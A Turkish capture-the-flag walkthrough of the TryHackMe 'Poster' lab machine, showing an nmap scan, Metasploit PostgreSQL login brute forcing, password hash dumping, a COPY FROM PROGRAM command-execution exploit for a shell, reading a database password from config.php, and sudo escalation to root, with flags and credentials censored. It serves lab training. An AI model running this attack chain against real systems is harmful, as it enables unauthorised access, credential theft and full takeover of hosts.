TryHackMe – Poster Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Poster” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV 10.10.55.119 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 18:36 +03
Nmap scan report for 10.10.55.119
Host is up (0.065s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds

2 — Postgres servisinde kullanabileceğim modüllere bakıyorum. Bize sorulan sorular için sırasıyla 9–11–15–10–6 indislerindeki modülleri kullanacağım.

msf6 > search postgres

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   1   post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History
   2   exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   3   exploit/windows/misc/manageengine_eventlog_analyzer_rce     2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
   4   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   5   auxiliary/analyze/crack_databases                                            normal     No     Password Cracker: Databases
   6   exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   7   exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   8   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     No     PostgreSQL Database Name Command Line Flag Injection
   9   auxiliary/scanner/postgres/postgres_login                                    normal     No     PostgreSQL Login Utility
   10  auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   11  auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   12  auxiliary/scanner/postgres/postgres_version                                  normal     No     PostgreSQL Version Probe
   13  exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   14  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   15  auxiliary/scanner/postgres/postgres_hashdump                                 normal     No     Postgres Password Hashdump
   16  auxiliary/scanner/postgres/postgres_schemadump                               normal     No     Postgres Schema Dump
   17  auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   18  post/linux/gather/vcenter_secrets_dump                      2022-04-15       normal     No     VMware vCenter Secrets Dump

3 — “auxiliary/scanner/postgres/postgres_login” modülü, postgresql servisine kullanıcı adı ve parola kombinasyonları ile giriş yapmaya çalışır. Bu modülü kullanarak kullanıcı adı ve parolayı buluyorum.

msf6 > use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > show options
*
*
*
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(scanner/postgres/postgres_login) > run
*
*
[+] 10.10.55.119:5432 - Login Successful: postgres:*CENSORED*

4 — “auxiliary/admin/postgres/postgres_sql” modülü ile postgresql servisi versiyonunu öğreniyorum. Bunun için bir önceki modülü kullanarak bulduğumuz kullanıcı ve parolayı ayarlıyorum.

msf6 auxiliary(scanner/postgres/postgres_login) > use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > show options 
*
*
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD *CENSORED*
PASSWORD => *CENSORED*
msf6 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.55.119
*
*
*
[*] Auxiliary module execution completed

5 — “auxiliary/scannen/postgres/postgres_hashdump” modülü ile postgresql veritabanındaki kullanıcıları ve parolalarının hashlerini elde ediyorum. Crackstation sitesini kullanarak hashleri kırıyorum ve “poster” kullanıcısının parolasın buluyorum.

msf6 auxiliary(admin/postgres/postgres_sql) > use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > show options 
*
*
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD *CENSORED*
PASSWORD => *CENSORED*
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.55.119
RHOSTS => 10.10.55.119
msf6 auxiliary(scanner/postgres/postgres_hashdump) > run

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

*CENSORED*

6 — “exploit/multi/postgres/postgres_copy_from_program_cmd_exec)” modülü ile bir shell bağlantısı elde ediyorum. Dizinleri dolaştığımda “/var/www/html” dizini altında “config.php” isminde bir dosya buluyorum. Dosyayı okuduğumda “alison” kullanıcısının parolasını görüyorum.

postgres@ubuntu:/var/lib/postgresql/9.5/main$ pwd
pwd
/var/lib/postgresql/9.5/main
postgres@ubuntu:/var/lib/postgresql/9.5/main$ cd /var/www/html
cd /var/www/html
postgres@ubuntu:/var/www/html$ ls
ls
config.php  poster
postgres@ubuntu:/var/www/html$ cat config.php
cat config.php
<?php 
 
 $dbhost = "127.0.0.1";
 $dbuname = "alison";
 $dbpass = "*CENSORED*";
 $dbname = "*CENSORED*";
?>postgres@ubuntu:/var/www/html$ su alison
su alison
Password: *CENSORED*

7 — Alison kullanıcısının ev dizininde ilk bayrağımı elde ediyorum. “sudo -l” komutu ile sudo yetkisi ile çalıştırabileceğim komutları görüntülüyorum ve alison kullanıcısının sudo yetkisine sahip olduğunu görüyorum. “sudo su” ile root kullanıcısına geçtikten sonra root dizininde ikinci bayrağı da elde ediyorum.

alison@ubuntu:~$ cat user.txt
cat user.txt
*CENSORED*
alison@ubuntu:~$ sudo -l
sudo -l
[sudo] password for alison: *CENSORED*

Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on ubuntu:
    (ALL : ALL) ALL
alison@ubuntu:~$ sudo su
sudo su
root@ubuntu:/home/alison# cd /root
cd /root
root@ubuntu:~# cat root.txt
cat root.txt
*CENSORED*